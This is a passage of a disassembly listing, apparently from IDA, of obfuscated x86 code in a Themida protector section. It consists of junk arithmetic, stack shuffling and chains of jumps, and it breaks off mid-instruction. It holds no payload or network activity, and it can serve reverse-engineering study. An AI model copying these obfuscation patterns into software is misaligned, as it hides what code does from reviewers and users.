loc_5A45D5 sub edi, 280B4690h jmp loc_5A5F0D ; --------------------------------------------------------------------------- mov dh, cl mov bh, ch loc_5AA55A: ; CODE XREF: Themida_:0059DC31j xor ebx, 60FBEDC3h sub edx, ebx pop ebx push dword ptr [edx] mov ecx, [esp] jmp loc_5A33B3 ; --------------------------------------------------------------------------- loc_5AA56D: ; CODE XREF: Themida_:0059D095j mov esi, eax pop eax add edx, esi pop esi jmp loc_5A6625 ; --------------------------------------------------------------------------- loc_5AA578: ; CODE XREF: Themida_:005AD7A4j xor [esp], edx xor edx, [esp] mov esp, [esp] pop edi not edi push 7081h mov [esp], eax sub esp, 4 mov [esp], edi pop eax push dword ptr [esp] jmp loc_599E59 ; --------------------------------------------------------------------------- loc_5AA59E: ; CODE XREF: Themida_:005A101Aj mov [esp], ebx mov ebx, esp jmp loc_59E708 ; --------------------------------------------------------------------------- loc_5AA5A8: ; CODE XREF: Themida_:005AC84Fj or esi, edx pop edx push eax mov eax, 6CB520E1h sub esi, eax mov eax, [esp] add esp, 4 not esi jmp loc_5AE9AB ; --------------------------------------------------------------------------- loc_5AA5C0: ; CODE XREF: Themida_:005A768Ej jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA5C5: ; CODE XREF: Themida_:0059CC46j add edx, 23386CC0h add edx, 462D760Eh mov ebx, [esp] add esp, 4 push esi mov esi, 14326AF4h push esi not dword ptr [esp] pop esi xchg edx, esi neg edx push esi push edx mov esi, [esp] add esp, 4 pop edx add esi, 2AB65F7Ah xor esi, 3EE8CA6Dh add edx, esi pop esi xchg edx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA60D: ; CODE XREF: Themida_:005A5418j push ebx jmp loc_5AB965 ; --------------------------------------------------------------------------- loc_5AA613: ; CODE XREF: Themida_:0059C45Ej add ebp, eax pop eax jmp loc_59C991 ; --------------------------------------------------------------------------- loc_5AA61B: ; CODE XREF: Themida_:0059F919j add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 push 175Dh mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5A5735 ; --------------------------------------------------------------------------- loc_5AA64D: ; CODE XREF: Themida_:0059F02Bj pop esp jmp loc_5A189E ; --------------------------------------------------------------------------- loc_5AA653: ; CODE XREF: Themida_:005A30F4j mov esp, [esp] jmp loc_5A120C ; --------------------------------------------------------------------------- loc_5AA65B: ; CODE XREF: Themida_:005ABAFDj xor [esp], ebx xor ebx, [esp] mov esp, [esp] div cx push 3596h jmp loc_59F9D4 ; --------------------------------------------------------------------------- loc_5AA671: ; CODE XREF: Themida_:005A2328j mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_5A9C14 ; --------------------------------------------------------------------------- loc_5AA680: ; CODE XREF: Themida_:005AACDFj pop ecx inc esi jmp loc_59DBAA ; --------------------------------------------------------------------------- loc_5AA687: ; CODE XREF: Themida_:005A80B9j push ebp mov ebp, 18463CAAh add ebp, 4AE42C31h add ebp, 0F12DE039h add edi, ebp pop ebp sub eax, edi jmp loc_599A12 ; --------------------------------------------------------------------------- loc_5AA6A3: ; CODE XREF: Themida_:005AD083j jnp loc_5A277A xor edx, 4AE42521h not edx shl edx, 6 sub edx, 1CBEF780h sub edx, esi mov esi, edx jmp loc_5AFA83 ; --------------------------------------------------------------------------- loc_5AA6C3: ; CODE XREF: Themida_:005A7C85j pop dword ptr [esp] jmp loc_5AD769 ; --------------------------------------------------------------------------- loc_5AA6CB: ; CODE XREF: Themida_:0059F5AEj pop ecx add ebp, 0C1C88441h or [edi+1Ch], ebp pop ebp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA6DB: ; CODE XREF: Themida_:00599AC2j sub esi, 32C510B9h add esi, edx add esi, 32C510B9h push dword ptr [esp] pop edx add esp, 4 jmp loc_59F296 ; --------------------------------------------------------------------------- loc_5AA6F8: ; CODE XREF: Themida_:0059B04Aj shr cl, 1 shl cl, 1 shl cl, 5 jmp loc_5A237E ; --------------------------------------------------------------------------- loc_5AA704: ; CODE XREF: Themida_:005A54C3j mov ebp, 32A6182Ah jmp loc_59D67B ; --------------------------------------------------------------------------- loc_5AA70E: ; CODE XREF: Themida_:0059B72Dj xchg ebx, [esp] pop esp jmp loc_5A9DC6 ; --------------------------------------------------------------------------- loc_5AA717: ; CODE XREF: Themida_:005A68E3j add esp, 4 xchg eax, [esp] pop esp mov [esp], eax jmp loc_5992F1 ; --------------------------------------------------------------------------- loc_5AA726: ; CODE XREF: Themida_:005A01E4j inc esi add esi, 0DAAFBC01h jmp loc_59D1D5 ; --------------------------------------------------------------------------- loc_5AA732: ; CODE XREF: Themida_:005AC35Bj pop ebp add ebp, 35836ECFh pop ebx push eax jmp loc_59D829 ; --------------------------------------------------------------------------- loc_5AA740: ; CODE XREF: Themida_:0059B323j pop ebp add esi, 64026243h pop ecx sub esi, 0EFB6BEEAh sub ebx, esi pop esi sub ebx, 0E6FF6A4h add esi, ebx pop ebx shl esi, 8 sub esi, 0AB2CF92Ch jmp loc_59EBD3 ; --------------------------------------------------------------------------- loc_5AA768: ; CODE XREF: Themida_:005A2B4Cj add esp, 4 sub esp, 4 mov [esp], edx jmp loc_59D930 ; --------------------------------------------------------------------------- loc_5AA779: ; CODE XREF: Themida_:005AF53Fj mov [esp], ebp jmp loc_59F1E4 ; --------------------------------------------------------------------------- loc_5AA781: ; CODE XREF: Themida_:0059BC58j push 5D27h mov [esp], ecx jmp loc_5A0763 ; --------------------------------------------------------------------------- loc_5AA78E: ; CODE XREF: Themida_:005A74F2j mov eax, 4C302072h sub eax, 1F2E2BBDh inc eax sub eax, 275377D4h add eax, 0CD8205A6h xor esi, eax pop eax mov ebp, esi pop esi jmp loc_5AE422 ; --------------------------------------------------------------------------- loc_5AA7AE: ; CODE XREF: Themida_:005AD324j or eax, 220A4DF3h jnb loc_59EAAF xor eax, 0E2ABFFF6h push ecx jmp loc_59E381 ; --------------------------------------------------------------------------- shl ebp, 1 sub al, 8Ch loc_5AA7C8: ; CODE XREF: Themida_:loc_59FC2Aj push edx push ecx mov ch, 51h neg ch xor ch, 0CBh ja loc_5A37D8 shl ch, 2 jmp loc_5A07EE ; --------------------------------------------------------------------------- xchg edi, [esp] pop esp xor eax, esi loc_5AA7E5: ; CODE XREF: Themida_:0059B440j mov edx, esp add edx, 4 add edx, 4 jmp loc_5A94DA ; --------------------------------------------------------------------------- loc_5AA7F5: ; CODE XREF: Themida_:005A6349j add dword ptr [esp], 4 jmp loc_59E16B ; --------------------------------------------------------------------------- loc_5AA7FE: ; CODE XREF: Themida_:005AF6DEj inc edx inc edx sub edx, 23405F4Dh sub ebp, edx pop edx add ecx, ebp pop ebp push ecx push dword ptr [esp+4] mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5AAECC ; --------------------------------------------------------------------------- loc_5AA827: ; CODE XREF: Themida_:005A78E4j add ecx, edx jmp loc_59E663 ; --------------------------------------------------------------------------- loc_5AA82E: ; CODE XREF: Themida_:005A322Ej or edi, eax pop eax xor edi, 274D5A8Ch shl edi, 1 jmp loc_5AD8B2 ; --------------------------------------------------------------------------- loc_5AA83E: ; CODE XREF: Themida_:0059EFF7j mov edx, edi mov edi, [esp] add esp, 4 sub edx, 1DBD6B1Ah jno loc_5AD4CB push eax mov eax, 0D855020h neg eax inc eax jmp loc_59C4F2 ; --------------------------------------------------------------------------- push esp push dword ptr [esp] push dword ptr [esp] jmp loc_5AF16F ; --------------------------------------------------------------------------- loc_5AA86F: ; CODE XREF: Themida_:0059F1C5j ; Themida_:005ABBFBj sub bl, ch add bl, 0A0h push dword ptr [esp] pop ecx push ecx push esp jmp loc_59F016 ; --------------------------------------------------------------------------- loc_5AA87F: ; CODE XREF: Themida_:005AA09Ej add edi, ebx add edi, 1E24506Bh jmp loc_5AD655 ; --------------------------------------------------------------------------- loc_5AA88C: ; CODE XREF: Themida_:0059B5F1j shl esi, 4 sub esi, 54063318h xor ebp, esi pop esi sub esp, 4 jmp loc_5AEEB9 ; --------------------------------------------------------------------------- loc_5AA8A0: ; CODE XREF: Themida_:005AF2DFj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 2 add eax, esi pop esi push eax jmp loc_599024 ; --------------------------------------------------------------------------- loc_5AA8C4: ; CODE XREF: Themida_:005A23E4j push 282525C6h pop esi dec esi jmp loc_5A77F2 ; --------------------------------------------------------------------------- loc_5AA8D0: ; CODE XREF: Themida_:00599556j push esi jmp loc_5A9732 ; --------------------------------------------------------------------------- loc_5AA8D6: ; CODE XREF: Themida_:005A898Ej push edx push ecx mov ch, al mov dl, ch mov ecx, [esp] add esp, 4 mov cl, dl jmp loc_5A82EF ; --------------------------------------------------------------------------- loc_5AA8EC: ; CODE XREF: Themida_:005A881Bj pop esi jmp loc_5A60C3 ; --------------------------------------------------------------------------- loc_5AA8F2: ; CODE XREF: Themida_:005A50D8j sub eax, 508F08B5h sub eax, ebx push 292Fh mov [esp], ebx jmp loc_5A9E17 ; --------------------------------------------------------------------------- loc_5AA906: ; CODE XREF: Themida_:0059D09Ej push esi mov esi, 4AE529F2h jmp loc_5AE78B ; --------------------------------------------------------------------------- loc_5AA911: ; CODE XREF: Themida_:loc_5A1127j ; Themida_:005A910Dj xor dword ptr [esp], 52416E8Ah pop edx xor edx, 52416E8Ah pop ebx add edx, 1B304E7Ch add edx, ecx sub edx, 1B304E7Ch jmp loc_5AB5F5 ; --------------------------------------------------------------------------- loc_5AA933: ; CODE XREF: Themida_:005A0D70j mov eax, [esp] add esp, 4 push 17E8h mov [esp], ebx mov ebx, esp push 63CCh mov [esp], edi push 4 push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx jmp loc_5A736F ; --------------------------------------------------------------------------- loc_5AA962: ; CODE XREF: Themida_:005A9972j mov eax, 115533D7h xor ebx, eax pop eax add ebx, 29F462EDh shl ebx, 5 shl ebx, 4 sub ebx, 4820AEF9h or ecx, ebx pop ebx neg ecx push ebx push eax mov eax, 2A7C451Ah mov ebx, eax pop eax sub ebx, 1 jmp loc_59ED13 ; --------------------------------------------------------------------------- loc_5AA996: ; CODE XREF: Themida_:005AB7C2j pop ecx jmp loc_5A7852 ; --------------------------------------------------------------------------- loc_5AA99C: ; CODE XREF: Themida_:0059DB82j push edi mov edi, esp jmp loc_59B62F ; --------------------------------------------------------------------------- loc_5AA9A4: ; CODE XREF: Themida_:0059ABE7j add esp, 4 push ecx push eax mov eax, 36FE33F8h push eax xor dword ptr [esp], 200027B2h mov ecx, [esp] add esp, 4 jmp loc_5A0071 ; --------------------------------------------------------------------------- loc_5AA9C7: ; CODE XREF: Themida_:005ADDFDj xchg ecx, [esp] pop esp jmp loc_5A7463 ; --------------------------------------------------------------------------- loc_5AA9D0: ; CODE XREF: Themida_:005A1994j mov edi, [esp] push ebx mov ebx, esp jmp loc_59A01F ; --------------------------------------------------------------------------- loc_5AA9DB: ; CODE XREF: Themida_:005A3A2Fj push ecx push ebp jmp loc_598B57 ; --------------------------------------------------------------------------- loc_5AA9E2: ; CODE XREF: Themida_:005A6286j pop ecx push edx jmp loc_5A4D1D ; --------------------------------------------------------------------------- loc_5AA9E9: ; CODE XREF: Themida_:0059B15Fj add esp, 4 push ecx jmp loc_5A6952 ; --------------------------------------------------------------------------- loc_5AA9F5: ; CODE XREF: Themida_:0059D6C4j add eax, edi pop edi sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esp push 94h mov [esp], ecx jmp loc_5A6F97 ; --------------------------------------------------------------------------- loc_5AAA15: ; CODE XREF: Themida_:005AD907j not ebx dec ebx xor ebx, 0EBD7333h sub ebp, 3D9000F3h jmp loc_59AF10 ; --------------------------------------------------------------------------- loc_5AAA29: ; CODE XREF: Themida_:005AABBEj mov esi, edx mov edx, [esp] add esp, 4 add esi, 33342761h sub esi, ebx jmp loc_5A468B ; --------------------------------------------------------------------------- loc_5AAA41: ; CODE XREF: Themida_:005A1232j or ch, 22h jmp loc_5AFB5B ; --------------------------------------------------------------------------- loc_5AAA49: ; CODE XREF: Themida_:005AC9DBj pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_59F009 ; --------------------------------------------------------------------------- loc_5AAA67: ; CODE XREF: Themida_:0059B80Ej pop ecx jmp loc_59EA39 ; --------------------------------------------------------------------------- loc_5AAA6D: ; CODE XREF: Themida_:0059B8E6j add esi, 4 jmp loc_59DDA0 ; --------------------------------------------------------------------------- loc_5AAA78: ; CODE XREF: Themida_:005998CDj add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add ebx, 0E3E74433h xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push edi push 297Dh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_5A5289 ; --------------------------------------------------------------------------- loc_5AAABC: ; CODE XREF: Themida_:005A03E4j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 add ecx, 4 push edx mov edx, 6E756D2Fh jmp loc_5A2662 ; --------------------------------------------------------------------------- loc_5AAADE: ; CODE XREF: Themida_:005A778Cj mov edx, [esp] add esp, 4 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp jmp loc_5A75CF ; --------------------------------------------------------------------------- loc_5AAB0C: ; CODE XREF: Themida_:loc_5A9984j ; Themida_:loc_5AC378j shl eax, 7 jz loc_5AEA84 sub eax, 2FC40B6Bh jb loc_5A6384 add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] loc_5AAB2A: ; CODE XREF: Themida_:005AA00Aj mov ebx, 77B91BF1h jmp loc_5AB6B2 ; --------------------------------------------------------------------------- loc_5AAB34: ; CODE XREF: Themida_:0059DD51j neg ebx xor ebx, 0C4D2F8D4h add edx, 1AF21128h add edx, ebx jmp loc_59FD35 ; --------------------------------------------------------------------------- loc_5AAB49: ; CODE XREF: Themida_:0059F1F5j dec ecx sub ecx, 0FF6EF760h add ecx, edi jmp loc_5A8698 ; --------------------------------------------------------------------------- loc_5AAB57: ; CODE XREF: Themida_:00598B52j sub bl, al add bl, 27h add bl, 0E2h push 1892h jmp loc_59F60D ; --------------------------------------------------------------------------- loc_5AAB69: ; CODE XREF: Themida_:005A6DBDj pop ecx jmp loc_59C39B ; --------------------------------------------------------------------------- loc_5AAB6F: ; CODE XREF: Themida_:0059C9E5j pop ecx pop edx shl ecx, 3 add ecx, 0FFFFFFFFh not ecx and ecx, 50860E27h neg ecx push edx mov edx, 0A570DE4h jmp loc_5A4A68 ; --------------------------------------------------------------------------- loc_5AAB8C: ; CODE XREF: Themida_:005ABA85j pop ebp add esp, 4 mov eax, [esp] add esp, 4 push eax push ecx mov ecx, 43633456h dec ecx jge loc_599214 xor ecx, 3A726568h mov eax, ecx pop ecx pop esp loc_5AABB1: ; CODE XREF: Themida_:005AA15Cj pop ecx push edx mov edx, 6D180A2Ch add edx, 138DB867h jmp loc_5AAA29 ; --------------------------------------------------------------------------- loc_5AABC3: ; CODE XREF: Themida_:005A3449j add ch, 6Eh mov bh, ch pop ecx jmp loc_5AFDE8 ; --------------------------------------------------------------------------- loc_5AABCE: ; CODE XREF: Themida_:005ADCC3j sub esp, 4 jmp loc_5A24A8 ; --------------------------------------------------------------------------- loc_5AABD6: ; CODE XREF: Themida_:005AF507j sub bl, ch jmp loc_5A6170 ; --------------------------------------------------------------------------- loc_5AABDD: ; CODE XREF: Themida_:005AB6ADj pop esp jmp loc_5A1074 ; --------------------------------------------------------------------------- loc_5AABE3: ; CODE XREF: Themida_:005A368Ej pop edi pop ebx push edx push ecx push 4 jmp loc_59CA44 ; --------------------------------------------------------------------------- loc_5AABF1: ; CODE XREF: Themida_:loc_5A9BD6j pop dword ptr [edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AABF8: ; CODE XREF: Themida_:005A096Dj shr edi, 7 sub edi, 2C13A57Eh add ebx, edi pop edi add ebp, ebx jmp loc_5AE734 ; --------------------------------------------------------------------------- loc_5AAC0B: ; CODE XREF: Themida_:005A9A26j pop ebx jmp loc_59B39A ; --------------------------------------------------------------------------- loc_5AAC11: ; CODE XREF: Themida_:005A8BF8j add dword ptr [esp], 36A35C83h pop ebp sub ebp, 36A35C83h mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ebx, ebp push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] push eax jmp loc_5A6B3B ; --------------------------------------------------------------------------- loc_5AAC43: ; CODE XREF: Themida_:0059BAADj ; Themida_:0059FB8Fj and eax, ecx jmp loc_599ED8 ; --------------------------------------------------------------------------- loc_5AAC4A: ; CODE XREF: Themida_:0059FE4Aj add [esp+4], edx push eax mov eax, 508C788Fh sub dword ptr [esp+8], 34CA774Bh add [esp+8], eax add dword ptr [esp+8], 34CA774Bh pop eax push esi mov esi, 41B03D86h add [esp+8], esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59C197 ; --------------------------------------------------------------------------- loc_5AAC87: ; CODE XREF: Themida_:005AC136j mov ch, ah push eax mov al, ch mov dh, al pop eax push dword ptr [esp] pop ecx push ecx jmp loc_59C0A2 ; --------------------------------------------------------------------------- loc_5AAC99: ; CODE XREF: Themida_:005A07E9j push edx mov edx, 38h mov ecx, edx pop edx add ecx, edx jmp loc_5AF595 ; --------------------------------------------------------------------------- loc_5AACA9: ; CODE XREF: Themida_:0059B613j mov ebp, 359C3E44h sub edx, ebp pop ebp add ecx, edx jmp loc_5A4570 ; --------------------------------------------------------------------------- loc_5AACB8: ; CODE XREF: Themida_:005A8B11j sub esi, 5BB27A06h add esi, 4F8C5174h add esi, eax jmp loc_5AE70E ; --------------------------------------------------------------------------- loc_5AACCB: ; CODE XREF: Themida_:005AE7E4j push ecx mov ecx, 6F5F05CCh sub esi, 22B039BAh sub esi, ecx add esi, 22B039BAh jmp loc_5AA680 ; --------------------------------------------------------------------------- loc_5AACE4: ; CODE XREF: Themida_:0059B8ABj add ebx, 0AC5F354Bh sub ebp, 69107429h add ebp, ebx add ebp, 69107429h mov ebx, [esp] add esp, 4 push 339Ah jmp loc_5ABB17 ; --------------------------------------------------------------------------- loc_5AAD0B: ; CODE XREF: Themida_:00599FCDj add ebp, esi pop esi push edx sub esp, 4 mov [esp], ebp push 5DF92554h mov ebp, [esp] jmp loc_5A8B76 ; --------------------------------------------------------------------------- loc_5AAD25: ; CODE XREF: Themida_:005A6FD9j sub ebp, 0BC0DFA67h or ebp, 94D415Bh jo loc_5ADC8C sub ebp, 0C0F6985h jg loc_598FD7 or ebp, 28287460h or ebp, 16427A2Eh loc_5AAD4F: ; CODE XREF: Themida_:0059BDE1j sub edi, 6E1F2739h jmp loc_59C254 ; --------------------------------------------------------------------------- loc_5AAD5A: ; CODE XREF: Themida_:0059B17Cj sub ecx, 39A2348Fh jbe loc_5A56A4 sub ecx, 47EA89E4h push ebp mov ebp, 225615A9h not ebp jmp loc_5A81A1 ; --------------------------------------------------------------------------- loc_5AAD79: ; CODE XREF: Themida_:005AF8C6j push edx mov edx, 36DD2F43h mov edi, edx jmp loc_5AEB19 ; --------------------------------------------------------------------------- loc_5AAD86: ; CODE XREF: Themida_:005A5034j ; Themida_:005AD17Aj sub esp, 4 mov [esp], ebx jmp loc_5A9AFB ; --------------------------------------------------------------------------- loc_5AAD94: ; CODE XREF: Themida_:005ADCE2j add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 629D3F7Eh jmp loc_5AAE89 ; --------------------------------------------------------------------------- loc_5AADA6: ; CODE XREF: Themida_:005A94E8j pop esp jmp loc_59C66E ; --------------------------------------------------------------------------- loc_5AADAC: ; CODE XREF: Themida_:0059F037j ; Themida_:005A0B5Cj push ebp mov ebp, 1DF79E8h xchg edx, ebp not edx xchg edx, ebp shr ebp, 8 push 4DEDh jmp loc_5A5A10 ; --------------------------------------------------------------------------- loc_5AADC5: ; CODE XREF: Themida_:0059EFE1j dec ecx push eax push ebx jmp loc_5AE44F ; --------------------------------------------------------------------------- loc_5AADCD: ; CODE XREF: Themida_:005A6FF6j push 6A13h jmp loc_59BAD2 ; --------------------------------------------------------------------------- loc_5AADD7: ; CODE XREF: Themida_:0059D612j add ebx, 698D181Eh sub ebx, 79074905h pop ebp jmp loc_5A787B ; --------------------------------------------------------------------------- loc_5AADE9: ; CODE XREF: Themida_:0059F155j xor ecx, 39BE1492h sub ecx, 0FB73AB39h mov ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_5ACCF9 ; --------------------------------------------------------------------------- loc_5AAE02: ; CODE XREF: Themida_:0059F0FFj mov ecx, esp push 65F1h mov [esp], esi mov esi, 688341CDh not esi dec esi neg esi neg esi push edi mov edi, 6F59089Fh shr edi, 4 xor edi, 7FE02FAEh inc edi add edi, 1E66FF05h sub esi, edi pop edi add ecx, esi pop esi jmp loc_59AFD4 ; --------------------------------------------------------------------------- loc_5AAE39: ; CODE XREF: Themida_:005AE01Ej sub ecx, 6572E18h sub ecx, 0BF4A598Ch mov eax, ecx pop ecx add esi, eax pop eax add esi, 6DA02F8Ch and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 0Bh sub esp, 4 mov [esp], ebx push 4414h mov [esp], esi jmp loc_59B1CE ; --------------------------------------------------------------------------- loc_5AAE72: ; CODE XREF: Themida_:005AF5B7j sub bl, 1Fh mov edx, [esp] add esp, 4 add bl, al push cx push eax push edx jmp loc_5AF81A ; --------------------------------------------------------------------------- loc_5AAE89: ; CODE XREF: Themida_:005AADA1j sub eax, 0AD04AA4h shl eax, 1 or eax, 59A01191h sub eax, 0A783EEC8h sub edx, eax pop eax sub edx, 48CF1465h jmp loc_5989A3 ; --------------------------------------------------------------------------- push small 4D7Fh jmp loc_5AC01A ; --------------------------------------------------------------------------- loc_5AAEB1: ; CODE XREF: Themida_:005A82E4j ; Themida_:005A84CEj ... jz loc_5A4F7A jmp loc_5A504C ; --------------------------------------------------------------------------- loc_5AAEBC: ; CODE XREF: Themida_:005A624Cj jz loc_59A4AF add eax, 0F37DB953h jmp loc_5A57D2 ; --------------------------------------------------------------------------- loc_5AAECC: ; CODE XREF: Themida_:005AA822j pop esp pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1 and eax, edx push dword ptr [esp] pop edx push ebp mov ebp, esp push ecx jmp loc_5A216B ; --------------------------------------------------------------------------- loc_5AAEEE: ; CODE XREF: Themida_:005A6C59j add edi, 4 jmp loc_5A9E24 ; --------------------------------------------------------------------------- loc_5AAEF9: ; CODE XREF: Themida_:005A47ECj ; Themida_:005A5893j movsx cx, al push edx sub esp, 4 jmp loc_5AEDDA ; --------------------------------------------------------------------------- loc_5AAF09: ; CODE XREF: Themida_:005AC7DBj sub esi, 1A330DCCh add esi, 721A0530h sub esi, ecx jmp loc_5A6664 ; --------------------------------------------------------------------------- loc_5AAF1C: ; CODE XREF: Themida_:005A3D63j mov [esp], ebx mov ebx, 1F18138Dh sub edx, 4ADE1496h jmp loc_5A639C ; --------------------------------------------------------------------------- loc_5AAF2F: ; CODE XREF: Themida_:005A049Ej mov esp, [esp] mov [esp], edi push esi mov esi, 5DCC7C9Eh sub dword ptr [esp+4], 0A77293Ch add dword ptr [esp+4], 695027A2h sub [esp+4], esi sub dword ptr [esp+4], 695027A2h add dword ptr [esp+4], 0A77293Ch pop esi pop dword ptr [eax] push ebx mov ebx, 5DCC7C9Eh add [eax], ebx mov ebx, [esp] add esp, 4 jmp loc_5A0887 ; --------------------------------------------------------------------------- loc_5AAF75: ; CODE XREF: Themida_:005A6203j sub al, 19h jmp loc_59FDF5 ; --------------------------------------------------------------------------- loc_5AAF7C: ; CODE XREF: Themida_:loc_59B164j ; Themida_:005AB464j push edi push esi jmp loc_5A1393 ; --------------------------------------------------------------------------- loc_5AAF83: ; CODE XREF: Themida_:005A8D06j add edx, 0BFD2B27h jns loc_5A4056 add edx, 0FFFFFFFFh jmp loc_5A4F65 ; --------------------------------------------------------------------------- loc_5AAF97: ; CODE XREF: Themida_:005A1A44j dec edi xchg edi, esi push ebx push 459539Dh jmp loc_5ADCE7 ; --------------------------------------------------------------------------- loc_5AAFA5: ; CODE XREF: Themida_:005AEC2Fj add esp, 4 add eax, 4 jmp loc_5AF7DB ; --------------------------------------------------------------------------- loc_5AAFB5: ; CODE XREF: Themida_:005A7CC5j push edx mov dl, 0D2h add dl, 0D4h dec dl jmp loc_59B3DE ; --------------------------------------------------------------------------- loc_5AAFC2: ; CODE XREF: Themida_:0059B32Fj add dl, 5Dh jnb loc_599256 sub dl, 36h add dl, 0DBh mov ah, 0DCh sub ah, dl jmp loc_59B3F4 ; --------------------------------------------------------------------------- loc_5AAFDA: ; CODE XREF: Themida_:005A4D38j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], edi push esi mov esi, 121A3325h mov edi, 2229742Bh xor edi, esi jmp loc_59CC9A ; --------------------------------------------------------------------------- loc_5AAFFC: ; CODE XREF: Themida_:005AFE2Aj xor esi, [esp] pop esp mov [esp], esi push edi mov edi, 4F100FDBh mov esi, edi pop edi add esi, 596C3763h ja loc_59E9EE dec esi jmp loc_5A021A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_599024 ; --------------------------------------------------------------------------- loc_5AB026: ; CODE XREF: Themida_:005A5807j ; Themida_:005AF155j jnp loc_59DAB6 jmp loc_59926D ; --------------------------------------------------------------------------- push 56AA506Bh loc_5AB036: ; CODE XREF: Themida_:005AE07Bj push ecx mov ecx, 76CA3DE1h xor ecx, 791B402Dh add ecx, 0F02E8238h add ebx, ecx jmp loc_5A38F9 ; --------------------------------------------------------------------------- loc_5AB04F: ; CODE XREF: Themida_:0059D9A9j mov [esp], eax push edx jmp loc_5AE13F ; --------------------------------------------------------------------------- loc_5AB058: ; CODE XREF: Themida_:005AE973j push esp pop eax add eax, 4 push esi jmp loc_5A7312 ; --------------------------------------------------------------------------- loc_5AB065: ; CODE XREF: Themida_:005A14C6j mov [esp], esp add dword ptr [esp], 4 pop ebx push 7CF0h mov [esp], ebp mov ebp, 4 add ebx, ebp pop ebp push ebp push esi mov esi, 47A04E71h add esi, 0C6D2091h jmp loc_5AF493 ; --------------------------------------------------------------------------- loc_5AB08F: ; CODE XREF: Themida_:0059EBD5j pop esi push esi mov esi, esp push edi mov edi, 2B04155Eh sub edi, 0EC67B398h sub edi, 3E9C61C2h add esi, edi mov edi, [esp] jmp loc_5A112C ; --------------------------------------------------------------------------- loc_5AB0AF: ; CODE XREF: Themida_:0059C2F7j pop ebx add ebx, 4 jmp loc_5A8664 ; --------------------------------------------------------------------------- loc_5AB0BB: ; CODE XREF: Themida_:0059B0FBj sub edi, edx pop edx sub esp, 4 mov [esp], edi jmp loc_5A03D2 ; --------------------------------------------------------------------------- loc_5AB0CC: ; CODE XREF: Themida_:005A8598j dec ebx jmp loc_5A2230 ; --------------------------------------------------------------------------- loc_5AB0D2: ; CODE XREF: Themida_:005A0CC5j push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_59F0FE ; --------------------------------------------------------------------------- loc_5AB0E0: ; CODE XREF: Themida_:005A6B8Fj bt [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB0EA: ; CODE XREF: Themida_:005A0C55j ; Themida_:005A3376j ... push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_599A9F ; --------------------------------------------------------------------------- loc_5AB0F6: ; CODE XREF: Themida_:005A9D7Dj sub ecx, ebx pop ebx add ecx, 63437D2h add ecx, 5FBBF63Eh sub edx, ecx pop ecx add edx, edi add edx, 62683C38h mov edi, [esp] add esp, 4 jmp loc_5A000F ; --------------------------------------------------------------------------- loc_5AB11B: ; CODE XREF: Themida_:0059A207j xchg edi, [esp] mov esp, [esp] loc_5AB121: ; CODE XREF: Themida_:005A34A2j push 86h mov [esp], ebx jmp loc_5AEE9A ; --------------------------------------------------------------------------- loc_5AB12E: ; CODE XREF: Themida_:005A7A12j sub ebx, esi pop esi jmp loc_59C67E ; --------------------------------------------------------------------------- loc_5AB136: ; CODE XREF: Themida_:005A14ABj pop ebx push ecx mov ch, 5Eh or ch, 66h jmp loc_5AB7EE ; --------------------------------------------------------------------------- loc_5AB142: ; CODE XREF: Themida_:005A4C9Bj pop ebp push esi push ebx pop esi pop ebx not ebx xchg ebx, esi add esi, 0BCB6D27h jmp loc_59AB71 ; --------------------------------------------------------------------------- loc_5AB156: ; CODE XREF: Themida_:005AD1AFj xor edi, [esp] pop esp add esi, 0C3307626h mov edi, esi pop esi add ecx, 77257653h add ecx, edi jmp loc_5A7941 ; --------------------------------------------------------------------------- loc_5AB170: ; CODE XREF: Themida_:0059AA82j add dword ptr [esp+4], 16266AEDh jmp loc_5ADD54 ; --------------------------------------------------------------------------- loc_5AB17D: ; CODE XREF: Themida_:005A2972j sub ebp, 6D4F09D9h add ebp, 7D392DB9h jmp loc_59FFA1 ; --------------------------------------------------------------------------- loc_5AB18E: ; CODE XREF: Themida_:005A4881j add ch, 11h pop edx jmp loc_5A3777 ; --------------------------------------------------------------------------- loc_5AB197: ; CODE XREF: Themida_:0059F41Fj pop esp pop edx sub bl, cl mov ecx, [esp] add esp, 4 sub bl, al sub esp, 4 mov [esp], 